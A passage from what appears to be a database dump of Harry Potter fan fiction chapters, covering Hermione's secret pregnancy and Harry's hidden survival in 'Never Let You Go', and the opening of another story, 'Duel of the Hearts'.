\nwasn\'t that far.<br><br>Ron, obviously the new Charms professor, became use to \nher appearance in his doorway during class time. He always left for her. Harry \nwas still his best friend, despite the attempted murder of his sister.<br><br>&quot; \nIt\'s happening again!&quot; she cried when they stepped into the deserted corridor. \nHe couldn\'t understand what any of this was like for her, only what he was \ntold.<br><br>&quot; Hermione, it hasn\'t been that long, you just need to \nrelax&quot;.<br><br>Hermione shook her head, &quot; no, it\'s not going to end. There\'s \nsomething, don\'t ask me what&quot;.<br><br>&quot; What?&quot; typical, he asked.<br><br>&quot; I \nsaid not to!&quot; her yells echoed off the brick walls, &quot; it\'s this, now I won\'t \never get over him!&quot;.<br><br>Ron was becoming frightened by her tone. &quot; Hermione, \nyou\'re not making any sense, and it\'s scary&quot;.<br><br>Tears were pouring down her \ncheeks, &quot; I\'m sorry&quot; she whispered, leaning against Ron.<br><br>He wrapped his \narms around her, stroking her back, &quot; it\'s alright, it\'s going to be \nalright&quot;.<br><br>She wanted to believe him more than anything, almost anything. \nBut she had the evidence for herself and anyone that asked. Deep in her heart \nand resting in her stomach.\n'),
	(243, 2, 'Never Let You Go<br>Authors Note- As confusing as this may sound (for the \ntime being) try and figure out what\'s going on.<br>Chapter Two- Traces of the \nPast<br>During dinner that evening, there were very few people left. Ron was \nnext to Hermione at the staff table, she seemed to have calmed down, though \nwasn\'t eating or hardly speaking. He mentioned that she couldn\'t starve, but the \nwords were blocked out by her concentrating thoughts.<br><br>\' Clench your \nteeth, keep it down, clench your teeth, keep it down\' over and over.<br><br>&quot; \nHermione?&quot; he asked.<br><br>&quot; I have to go&quot; she ran from the Great Hall, \nclutching her stomach. A few students at the Slytherin table whispered and \nlaughed among themselves as she ran by.<br>Not long after, a first year student \nburned her hand on one of the gold dishes. Ron went with her towards the \nhospital wing, the girls hand wrapped in a damp napkin. Standing in the doorway \nof the wing was Hermione, chatting with Madame Promfrey.<br><br>&quot; As sick or \ndisgusting as you may feel, I assure you Hermione, it\'ll be perfectly for the on \ncoming months&quot;.<br><br>Their conversation stopped at that, when seeing the new \narrivals. Promfrey took the injured girl inside, Ron and Hermione stayed in the \ncorridor.<br><br>&quot; Are you alright?&quot; he asked.<br><br>She tried to get past him, \n&quot; just peachy&quot;.<br><br>But he went after her, &quot; what\'s normal for the oncoming \nmonths?&quot;,<br><br>&quot; Absolutely nothing, I can assure you that is the truth&quot; from \nher point of view, it was.<br><br>Ron ran a few steps to be at her side, &quot; \nnoting can be taken in two different ways. Nothing like there really isn\'t \nanything or nothing like it\'s empty&quot;.<br><br>&quot; Just- oh, it\'s too hard to say. \nBut Madame Promfrey said I have to stop taking my depression \nmedication&quot;.<br><br>He grabbed her wrist, stopping her so she\'d face him. &quot; \nYou\'re better?&quot; he had a hopeful grin. A week after the death, Hermione had a \ncomplete break down and went hysterical. Dumbledore immediately ordered for her \nto be taken to a London doctor and prescribed to anti-depression medication. It \nwas the only thing keeping her sane.<br><br>She tried to get away again, but \nfailed. &quot; Far from, I just can\'t take it for awhile&quot;.<br><br>&quot; What\'s going on \nHermione?&quot; he had a tone that was somewhat demanding.<br><br>Hermione let out a \nlong sigh, &quot; I\'d rather not say here&quot;.<br>Ron followed her to the empty and \ndimly lit Transfiguration classroom. He was slightly under the impression that \nHermione stumbled across a secret that he a few others once had. She was not \nsuppose to have ever known, but this wouldn\'t he her reaction. It was something \nelse.<br><br>She was pacing in front of her desk, he was leaning against one of \nthe desks. &quot; I thought the illness was a side effect of the medicine. When I \nwent to see Promfrey, she was telling me that vomiting would be normal for a \nlittle while&quot;.<br><br>He raised an eyebrow, &quot; what are you talking \nabout?&quot;.<br><br>&quot; I\'m pregnant&quot; she whispered.<br><br>Ron\'s jaw dropped, he \nfroze for a split second, &quot; y-you\'re what?&quot;.<br><br>She turned around, biting \nher lop, &quot; I\'m pregnant, I just found out last week&quot;.<br><br>He stood up \nstraight, &quot; who\'s the father? I didn\'t know you were in a \nrelationship&quot;.<br><br>&quot; Harry&quot; she muttered, seeing him gape again, &quot; it was a \nreally short relationship I guess you could say. I don\'t know what I\'m going to \ndo, I can\'t raise a baby by myself, and not too many people will be crazy about \nthe child of a murderer&quot;.<br><br>&quot; Hermione, it\'s..&quot;.<br><br>&quot; Don\'t tell me \nit\'s going to be alright! It\'s not, maybe other things, but not this. How am I \nsuppose to move on with a baby?&quot;.<br><br>Ron sighed, &quot; I don\'t know. But no \nmatter what happens, I\'ll be here&quot;.<br><br>She gave a weak smile, &quot; thanks. And \nplease, don\'t tell anyone. I will admit I don\'t like secrets being kept from me, \nbut it\'s hard enough just being the ex-lover&quot;.<br><br>Ron was still her best \nfriend, but it wasn\'t the same, not even close. He wasn\'t the father of her \nunborn child and she wasn\'t in love with him. But he was always going to be \naround, maybe that didn\'t really make him different.<br>Emerging from the \nclassroom into the dark corridor, he didn\'t want to leave, but Hermione insisted \nhe did. Ginny jumped out of nowhere, seizing his wrist. &quot; Come with me&quot; she said \nin a harsh tone.<br><br>He tried to detach her grip, &quot; why?&quot;.<br><br>&quot; Something \nI have to show you, but you cannot scream&quot;.<br><br>She began pulling him into \nhis own empty classroom that she had came from. &quot; Ginny, you\'re suppose to be in \nbed&quot; he complained (this was her last year at Hogwarts). &quot; You better have a \ngood reason for being here&quot;.<br><br>And she did. As soon as she had Ron inside, \nshe clamped a hand over her brothers mouth to muffle his scream.\n'),
	(243, 3, 'Never Let You Go<br>Authors Note- Once again, confusion, but if you read \ncarefully, you\'ll do just fine. P.S- this was written at 2 am with a head cold, \nslack should be cut.<br>Chapter Three- A Sisters Secret<br>&quot; Virginia Weasley, \nare you absolutely insane!?&quot; Ron screamed loud enough to wake the dead, let \nalone anyone sleeping at Hogwarts.<br><br>Ginny shoved him into the corridor, &quot; \nwill you shut-up&quot; she hissed.<br><br>&quot; How is this possible? I \nthought...&quot;.<br><br>She grabbed his chin, his voice was still too loud, &quot; it \njust is. It\'s hard to explain&quot;.<br><br>&quot; I think it\'s worth a shot!&quot;.<br><br>A \nshadow emerged from the Transfiguration classroom, Hermione. &quot; What\'s going on?&quot; \nshe sounded a little scared.<br><br>&quot; Nothing!&quot; she beat Ron to the answer \nbefore he could get a word out of that he saw.<br><br>&quot; I don\'t think that \nqualifies as nothing&quot; Ron grunted.<br><br>&quot; A spider! He just saw a spider!&quot; \nGinny had to think of something believable that Ron would scream at.<br><br>&quot; \nOh, alright&quot; and Hermione went back inside, closing the door.<br><br>&quot; She\'s \nstill acting weird?&quot; Ginny asked calmly, keeping her eyes on the \ndoor.<br><br>Ron sighed, &quot; she has a lot going on&quot;.<br><br>&quot; Like \nwhat?&quot;.<br><br>He snapped back to the current situation, &quot; well, I don\'t know \nhow much it could be now with...&quot;.<br><br>She clamped her hand again. &quot; Shut up \nwill you!&quot;.<br><br>&quot; Ginny, do you understand the seriousness of any of this, I \ncan\'t believe, the entire time!&quot;.<br><br>She nodded, looking a little ashamed \n(but thinking of how much her brother sounded like Professor McGonagall). &quot; \nMaybe if I explain to both you and Hermione&quot;.<br><br>&quot; No!&quot; his voice boomed and \nhis eyes widened, &quot; no, you cannot tell Hermione!&quot;.<br><br>&quot; Why\'s \nthat?&quot;.<br><br>&quot; She\'s got too much on her mind!&quot;.<br><br>Ginny smacked him \nupside the head, &quot; she\'s three tears from insanity, and it was all because of \nthis&quot;.<br><br>Ron leaned in as close to her as he could go, &quot; Ginny, you told me \nhe died. I know he didn\'t that night, but you said he didn\'t make it a \nweek&quot;.<br><br>&quot; I liked, okay, I admit it. I took advantage of the fact that you \nwouldn\'t go anywhere near the hospital wing. But now, I\'m going to see \nHermione&quot;.<br><br>He wouldn\'t let her go, &quot; she\'s in the middle of a bad night, \nand she wouldn\'t be able to handle it&quot; he knew such a reaction, Hermione could \nloose the baby.<br><br>&quot; What is so bloody important that I can\'t tell her now?&quot; \nGinny was roughly demanding.<br><br>Still, Ron changed the subject, deceiving \nher away from that answer. &quot; Ginny, it\'s dangerous keeping him in this \nschool&quot;.<br><br>She shrugged, &quot; it\'s your classroom, Promfrey said it was safer \nthan the hospital wing&quot;.<br><br>&quot; It doesn\'t matter what room because no room is \nsafe!&quot; Ron hissed.<br><br>&quot; But we can\'t get him out! Someone will see him, and \nkill him&quot;.<br><br>He reflected off his sisters grief, &quot; no, killing him would \nresult in their consequences&quot; he sighed, &quot; they\'d have him in Azkaban before you \ncan say Quidditch&quot;.<br><br>&quot; Azkaban will kill him&quot; she gasped, &quot; you saw how he \nreacted to the dementors before. Luckily everyone thinks he\'s dead, otherwise \nthey\'d be around here twenty-four seven. Besides, he\'s really weak, still, even \nif he was still insane he wouldn\'t be able to hurt anyone&quot;.<br><br>Ron peered \nback inside his classroom, not wanting to think about his being insane at the \ntime. &quot; Sleeping potion?&quot;.<br><br>Ginny nodded, &quot; more than often, for his sake. \nThough he does go about some nights&quot;.<br><br>&quot; That\'s not stupid of you or \nanything&quot; he sarcastically grunted.<br><br>&quot; He has his cloak on, and he doesn\'t \neven go that far&quot;.<br><br>Ron followed her gesture across the hall to the \nTransfiguration classroom. &quot; So all those nights she thought he was there...he \nreally was&quot;.<br><br>She nodded, with a slight smile. &quot; It\'s almost like caring \nfor an injured puppy. You have to care for them, nurse them back to health, make \nsure they don\'t get lost&quot;.<br><br>He mocked an eyebrow, &quot; why are you comparing \nhim to a dog?&quot;.<br><br>&quot; Because it\'s better than the other horrible things some \npeople are comparing him too&quot;.<br>After Transfiguration the next day, Ginny \nstayed behind as the crowd of other students filed to lunch. She waited until \nthe door was closed before approaching Hermione\'s desk.<br><br>&quot; How are you \nfeeling today Herm?&quot; she asked with a mixture of cheer and \nsympathy.<br><br>Hermione looked up and smiled, something a little rare for her, \n&quot; tired, nauseous, but yet, I don\'t mind&quot;.<br><br>Ginny laughed, &quot; are you \npregnant or something?&quot; she only meant it as a joke.<br><br>She set down her \nquill, &quot; did Ron tell you?&quot;.<br><br>Ginny shrieked, &quot; oh my god! You \nare?&quot;.<br><br>She sighed, standing from her chair, &quot; you, like everyone else, \nwere going to find out eventually, there\'s no point in denying anything now, not \nto anyone&quot;.<br><br>&quot; Harry\'s the father?&quot;. Hermione nodded. Ginny glanced \ntowards one of the desks, mouthing something as though someone was right next to \nher.<br><br>Hermione gave her a suspicious stare, looking at that same area, &quot; \nwhat are you doing?&quot;.<br><br>&quot; Nothing!&quot; the tone uncovered an obvious \nlie.<br><br>With each step she took closer, Ginny shoved away. Her foot stepped \non the edge of something, and a second later, Harry was no longer covered by the \ninvisibility cloak.\n'),
	(243, 4, 'Never Let You Go<br>Chapter Four- Will the Real Harry Potter Please Stand \nUp<br>Ginny looked away, her eyes tightly shut and her hands over her ears, this \nwas one of those times when she would give anything to be anywhere else. There \nHarry stood, revealed to someone new for the first time in a long time. And of \nall people, the one he left, the one he loved. The one who was carrying his \nchild, but he had just found that out. He was ill, and weak, which affected his \nbalance, but not his concentration. His emerald eyes locked on hers of amber. \nFor seconds unknown, she stared back, her gaze growing cold as though her heart \nstopped. It felt like it did. Suddenly, she nearly burst with anger.<br><br>&quot; \nWhat is this? Some kind of a joke!&quot; she screamed.<br><br>Ginny faced her in \ntears, &quot; I\'m sorry Hermione! After you left, I couldn\'t leave him like that!&quot; \nshe was speaking of the night he supposedly died.<br><br>&quot; Who is it? Ron with \nthe polyjuice potion? How sick can you get!&quot;.<br><br>Ginny froze. Hermione \ndidn\'t think he really was Harry, who could hardly budge. &quot; No, Hermione, \nit-it\'s really...&quot;.<br><br>&quot; Stop it!&quot; she snarled at Harry, or to her Ron. &quot; \nYou called yourself and supportive and sympathetic friend when the cruelest \nthing you could have done! You know how much I miss him, you know how much this \nhurts!&quot;.<br><br>Before Harry could say a word, Ron burst into the room. &quot; What\'s \nwith all the- oh shit!&quot;.<br><br>&quot; I\'m sorry, he just wanted to- she wasn\'t \nsuppose to see him!&quot;.<br><br>Hermione\'s eyes darted between the real Harry and \nthe real Ron. &quot; Oh god&quot; she gasped.<br><br>Ron stood near Ginny as Harry and \nHermione took baby steps closer to one another, like approaching a dangerous \nanimal that Hagrid owned. Their arms extended and their fingertips brushed. At \nthe same time, the two collapsed, Hermione from pure shock and Harry a \ncombination of being weak and ill.<br><br>&quot; That went well&quot; Ginny \nmuttered.<br><br>Ron lifted Hermione into his arms, &quot; stay with him, I\'ll be \nright back&quot;.<br>Madame Promfey pushed to beds together for her newest, and \nluckily only, patients. Word got around that Hermione as there, and like she had \nblack fur on her face again, curtains were set up for their sake. She was \nbathing Hermione\'s forehead in a cold cloth when she woke, dazed. Glaring around \nthe room for a minute, she thought she was back where it all began. The night of \na so called death when she was there to be treated for shock.<br><br>&quot; Your baby \nis fine&quot; the words, as comforting as they were, brought on thoughts of horror \nand harsh reality.<br><br>When Promfey left her, Hermione went to place a hand \non her stomach, but there was already one there. Next to her, he was peacefully \nsleeping. His arm around her as thought afraid she may leave before he could see \nher again. She watched him take a few breaths, just to make sure. He was alive, \nshe thought he was dead when he never was.<br><br>Hermione traced her fingertip \nalong his cheek, he twitched a little. It wasn\'t like a dream when her hand \nwould go through and then he\'d disappear. Making sure he was still asleep, she \nlifted his shirt from the bottom, to his newest scar. But this one wasn\'t from \nsome dark wizard, it was from Ginny, when he told her that he wanted to die. It \nwas still fresh, the second she touched it-<br><br>&quot; Ouch&quot;.<br><br>She pulled \nher hand back and looked at his face where his eyes were staring back. Hermione \nnever thought she\'d ever see that amazing color again, despite the \nglasses.<br><br>&quot; Hi&quot; she whispered, it was all she could think of to \nsay.<br><br>&quot; Hi&quot; it was as simple as her.<br><br>&quot; Are you alright?&quot; she knew \nhe was ill, just by looking at him it was easy to tell.<br><br>He nodded, &quot; I\'ll \nlove&quot;.<br><br>&quot; You\'re good at that&quot; Hermione gently held his hand in hers, &quot; \nyou\'ve been alive this entire time&quot; that wasn\'t a question.<br><br>&quot; I\'m sorry&quot; \nthere was so much to be sorry for.<br><br>She gave a weak smile, &quot; it\'s okay. I \nthink it\'d be worse for Ron, he thought you were dead twice&quot;.<br><br>&quot; I didn\'t \nmiss Ron, not as much as I missed you. Even thought you were right there, \nwhenever I was, you only thought it was a dream&quot;.<br><br>That\'s when it became \nclear, when she thought she was going insane, &quot; you were really there? At night, \nwith me?&quot;.<br><br>Harry gazed at their hands, &quot; just laying next to you, it made \nall the pain go away&quot;.<br><br>She could feel a tear beginning to sting her left \neye, &quot; why didn\'t you just come out? Why couldn\'t you tell me that you were \nalive?&quot;.<br><br>&quot; I was scared. I\'m not sure what about, maybe about you being \nmad, or thinking that my attempted death was only a joke&quot; if so, it was one hell \nof a scene.<br><br>Hermione shook her head, &quot; no, of course not, no, never. I \nfelt you die Harry, it was so real&quot;.<br><br>&quot; Maybe for awhile it was&quot; he still \nlooked scared, &quot; I wasn\'t conscious at the time, but Ginny said that she dragged \nme here, and Madame Promfey found a pulse (A/N- in the Chamber of Secrets, it is \nmentioned that Madame Promfey never asked too many questions about her \npatients). I was hidden from you, I woke up the day you left, so Dumbledore kept \nyou out of here until the term was over. Then, Ron and Dumbledore were told that \nI was too sick to live, and died again. But when Pig was suppose to bring a \nletter from Sirius to say that was wrong to Ron. But, it\'s Pig, Ginny got it \ninstead, and she took care of me&quot;.<br><br>Some of it was still confusing, it \ndidn\'t make sense, but it didn\'t matter. None of it did, not even the deaths he \ncommitted only months before. Obviously, it wasn\'t an issue to most people. Most \npeople.<br><br>Harry replaced their intertwined hands on Hermione\'s lower \nstomach, &quot; what you said to Ginny earlier, did you...&quot;.<br><br>She nodded, &quot; I\'m \npregnant, my biggest scare was that my child, our child, wouldn\'t ever know his \nfather&quot;.<br><br>&quot; Don\'t worry&quot; he softly kissed her shoulder, &quot; you can count on \nme. I\'m not going anywhere&quot;.<br>Authors Note- That very last line, it\'s a lie. \nHarry doesn\'t know that, but I do.\n'),
	(243, 5, 'Never Let You Go<br>Authors Note- Okay, maybe that one authors note bad \nidea. Harry\'s NOT going to die again, I promise. I wouldn\'t do that \ntwice.<br>Chapter Five- Revelations<br>It was the first night in threw months \neither slept peaceful enough. It was the first night ever that they slept in \neach others arms. For hours of complete bliss, Hermione thought her life had \nactually reached perfect. The only she truly loved was back, and there to stay, \nand soon enough they would have a baby. Perhaps they were rather young, but they \nhad been through enough to prove parenthood. As weird as it was being close to \nhim and how much she didn\'t want it to end, all good things have \ndownfalls.<br><br>In the eyes of the Wizard World, Harry Potter was still a \ncriminal. The charges of murder and attempted murder (even though Ginny easily \nforgave him) could mean the end. Despite his lack of sanity at the \ntime.<br>Harry woke at what must have been seven or eight that night, he \ncouldn\'t hear Madame Promfrey around the curtained area. He looked down at the \nsleeping angel nestled in his arms, her hands clamped around his wrists. The \ninvisibility cloak laid sprawled across both beds, Ron had brought it. Ron, \nHarry\'s best friend, he had to see him. After returning from the \' dead\', twice, \nhe deserved an explanation, from Harry.<br><br>Detaching himself, he quietly \ncrept towards the edge, listening for any sound, trying to ignore the extreme \npain in his body.<br><br>&quot; I tell you, he\'s here!&quot; a sudden voice caused him to \nsilently jump. He stepped back at the boy\'s voice, crouching down as a second \nvoice emerged.<br><br>&quot; How is that possible? Everyone knows he died before the \nend of last term&quot; this one was a girl.<br><br>The footsteps scurried around, \nthey weren\'t that far away. &quot; Natalie Whymburg said she caught a glimpse when \nProfessor Weasley went into the Transfiguration classroom earlier&quot;.<br><br>The \ngirl sighed, &quot; that\'s stupid. Harry Potter\'s life is just a legend as his death. \nSome seventh year killed him&quot;. They were talking about him.<br><br>&quot; I bet you \nhe\'s around here somewhere&quot; the dim candlelight was enough to cast two hazy \nshadows on the curtain right in front of him. They were growing taller and \ntaller.<br><br>Harry dove under the bed just as the curtain was moved aside. &quot; \nSee, it\'s Professor Granger&quot; the girl claimed.<br><br>&quot; But there\'s two beds, \ndon\'t you get it? They\'re hiding him because no one can know he\'s alive. I\'m \ntelling you, this school isn\'t as honest as it seems&quot;.<br><br>The girl was \ngetting annoyed. &quot; Whatever Damon, I\'m going to bed before we get expelled, good \nluck finding a ghost&quot; her footsteps drifted away towards the door.<br><br>He \nfollowed, &quot; I\'m going to spread the word that Harry Potter, is still \nalive&quot;.<br><br>Harry stayed hidden until the footsteps had faded away. &quot; \nHermione&quot; he gasped, &quot; Hermione&quot; a little louder.<br><br>The bed above him \nshifted, Hermione peered her face over the side of the bed, &quot; what are you \ndoing?&quot;.<br><br>&quot; There\'s a student, and he knows I\'m here&quot; he \nwhispered.<br><br>She slid onto the floor, &quot; did he see you?&quot; Harry shook his \nhead, &quot; then how does he know?&quot;.<br><br>&quot; I don\'t know&quot; his voice shook in his \nthroat, &quot; but he\'s going to tell&quot;.<br><br>Hermione scooted closer to him, &quot; \nDumbledore knows, and if he hasn\'t done anything rash, you\'re safe&quot;.<br><br>&quot; I \ndon\'t feel safe&quot; she took his hands and kissed his knuckles, &quot; what if the \nMinistry finds out? They\'ll make sure I die for good&quot;.<br><br>&quot; No they won\'t \nHarry. Ron and I will come up with something, but until then, you said it \nyourself, you\'re not going anywhere&quot; she could feel him shaking and pulled him \ninto her arms, &quot; I love you too much to let you go again&quot;.<br><br>He struggled \nfor a deep breath, &quot; I-I didn\'t mean to kill them, I really didn\'t&quot;.<br><br>She \nrested her chin on his shoulder, her hand softly stroking his neck, &quot; I\'d love \nyou even if you did&quot;.<br><br>&quot; I don\'t know what it was&quot;.<br><br>&quot; Don\'t scare \nyourself, I\'m going to help you just like I promised. But now, just go to sleep, \nthat\'s all you have to do&quot;. Hermione waited until she could feel him relax in \nher arms, calm enough to sleep. Only then did she close her eyes when he \ndid,<br><br>&quot; I love you&quot; he breathed.<br>Ron came racing into the hospital wing \nnot long after breakfast the next morning. Nearly knocking down the curtains, \nthe beds were empty, but he could see Hermione\'s foot sticking out from \nunderneath. He dropped to the floor where they were sleeping.<br><br>&quot; Harry!&quot; \nhe whispered harshly, &quot; Harry, wake up!&quot;.<br><br>From behind Hermione, he lifted \nhis head, &quot; what?&quot; he was still looking ill and exhausted.<br><br>&quot; We have a \nproblem&quot; Hermione opened her eyes, &quot; the entire school knows you\'re here&quot; Harry \nsat up, hitting his head on the bed, &quot; Dumbledore was too late, one of the \nprefects sent an owl to the Ministry&quot;.<br><br>Hermione scrambled out from under \nthe beds, &quot; oh no, what are we going to do?&quot; she bent down to help a weak \nHarry.<br><br>Ron went for the silver cloak laying over the bed frames, &quot; the \nonly thing we can do, we\'re going to get him out of here&quot;. He pulled Harry to \nhis feet and threw the cloak over him so it looked as though Ron was holding \nonly air.<br><br>&quot; Where?&quot; he asked.<br><br>&quot; Burrow, mum already knows we\'re \ncoming&quot;.<br><br>But Hermione grabbed his other arm, &quot; Ron, look at \nhim&quot;.<br><br>&quot; The whole point of the cloak is that I can\'t do just \nthat&quot;.<br><br>&quot; He\'s too sick, we can\'t move him!&quot;.<br><br>&quot; We don\'t have much \nof a choice Herm. It\'s there or Azkaban prison, and I think we know which is \nbetter!&quot;.<br><br>She hesitated, then nodded. They watched every direction like \ntwo hungry eagles, pulling Harry down any corridor that was deserted, moving \nsomewhat slow.<br><br>&quot; Ginny has some Floo Powder in the Gryffindor common \nroom&quot; Ron said.<br><br>Only feet from the Fat Lady\'s portrait , the three of \nthem caught gaze of the swarm of dementors at the other end. They were heading \ncloser by the second, their gray hoods fixed on them. Ron loudly cursed, pulling \nHarry from Hermione\'s grip and jumped over the cloak that had slipped \noff.<br><br>&quot; May flowers!&quot; Ron screamed, the Gryffindor password.<br><br>The \nportrait moved aside, Hermione was the last one through, she could see a hooded \nfigure in an eye corner as she crawled through and the portrait began to close \nthe hole.<br><br>Ginny was already prepared, standing by the fireplace. She \nscoped the powder into Harry\'s hand just before Ron shoved him into the \nash.<br><br>&quot; The Burrow!&quot;.\n'),
	(244, 1, '\n\n\n\nDisclaimer:&nbsp; I do not own any of these characters.&nbsp; They are the property of J. K. Rowling &#8211; the\ngenius behind their creation.&nbsp; Hope you enjoy\nit.&nbsp; This is the third book in my\nseries; the first two are &#8216;Endings and Beginnings&#8217; and &#8216;Meet the Parents&#8217;.\n\n&nbsp;\n\nDuel of the Hearts\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry nearly ran over two students as he\nstormed into the bookshop.&nbsp; His eyes\nscanned the room, looking for Hermione&#8217;s head of brown curls.&nbsp; He found her in the far corner reading an\nold version of Hogwarts A History.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; he called as he pushed his way\ntowards her.&nbsp; She initially smiled, but\nher face turned serious when she saw his worried expression.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry, what&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t believe I didn&#8217;t notice before; look\nat your school list, Hermione.&#8221; She did as he asked but failed to see anything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t understand, what&#8217;s the problem?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, all of our classes are there but\none&#8230;Defense Against the Dark Arts!&#8221; His girlfriend gasped at first, but she\ntook the surprise a bit better than he had.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;maybe they think that it&#8217;s not needed\nanymore; you did destroy the Lord of Dark Magic, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It doesn&#8217;t matter, Hermione, there&#8217;s always\ngonna be someone else who comes along.&nbsp;\nI can&#8217;t believe Professor Dumbledore would even consider this!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I know&#8230;maybe they changed the course or\nsomething; maybe we won&#8217;t find out until we get to Hogwarts.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That could be true, but still&#8230;something just\ndoesn&#8217;t feel right about this.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His eyes were somber, and Hermione took his\nhand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t worry, love, everything is going to be\nfine.&nbsp; After all, you are the most\npowerful wizard in the world,&#8221; she said proudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Power alone doesn&#8217;t win a fight, Herm, you\nshould know that better than anyone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I see your point, but I still think that\nwe&#8217;ll find out at school.&nbsp; You&#8217;re right,\nDumbledore wouldn&#8217;t just allow this to happen; he has a plan.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s words soothed Harry&#8217;s buzzing\nthoughts, and his smile returned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I believe you&#8217;re right.&nbsp; So, did you find the books you needed?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yup, but I only needed the one for\nPotions.&nbsp; The rest I already have in my\ntrunk.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Let me guess, you read them last year!&#8221; he\nchuckled.&nbsp; She stuck her bottom lip and\ncrossed her arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, you jerk, I bought them last year.&nbsp; The classes I had last term were the first\nhalf of the book, and this year is for the second half.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That makes sense &#8211; especially if you have\nthe same professor.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So, want me to help you find your books?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you even need to ask?&#8221; he inquired with a\nraised eyebrow.&nbsp; Hermione giggled\nsoftly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, follow me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The teens spent the next hour weaving their\nway through Diagon Alley.&nbsp; People who\nwanted to have Harry&#8217;s autograph stopped them quite often, but he turned them\nall down.&nbsp; They&#8217;d been hoping to see Ron\nor Ginny there, but the Weasleys were nowhere to be found.&nbsp; Making their way back through the Leaky\nCauldron, they headed back to meet Hermione&#8217;s father.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">John Granger was sitting in his van reading\nthe morning paper when he saw Harry and Hermione approaching.&nbsp; Harry was carrying armfuls of brown-wrapped packages\nwhile Hermione was carrying a single, white bag.&nbsp; He quickly got out to the help the young man with his things.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodness Harry, why did you get so much?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Actually Mr. Granger, half of this\nHermione&#8217;s,&#8221; he replied cheekily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry was sweet enough to carry them for\nme,&#8221; she added with a bright smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">John helped Harry unload the items, and they\nsorted them between Harry and Hermione&#8217;s trunks.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After picking up two trolleys, it was time\nfor them to say goodbye.&nbsp; Hermione\nhugged her father tightly, and he kissed her hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye Hermione, make sure you write to us, or\nyour mother will have a fit!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I will, dad, thank you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">John Granger then turned towards Harry.&nbsp; He extended his hand, and the young wizard\ngladly shook it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m glad to have met you, Harry, take care\nof Hermione okay?&#8221; he said with a serious look in his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I always will, Mr. Granger,&#8221; the young man\nreturned fervently.&nbsp; John was satisfied\nwhen he heard the determination in Harry&#8217;s voice and hugged his daughter one\nlast time.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodbye, you two, have a good year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Goodbye,&#8221; they both said at the same time,\nand Hermione&#8217;s father made his way back to the entrance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well Harry&#8230;it&#8217;s just us now,&#8221; Hermione\nsighed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah, I&#8217;m gonna miss your parents; this was the\nbest summer I&#8217;ve ever had.&#8221;</p>\n\n<p 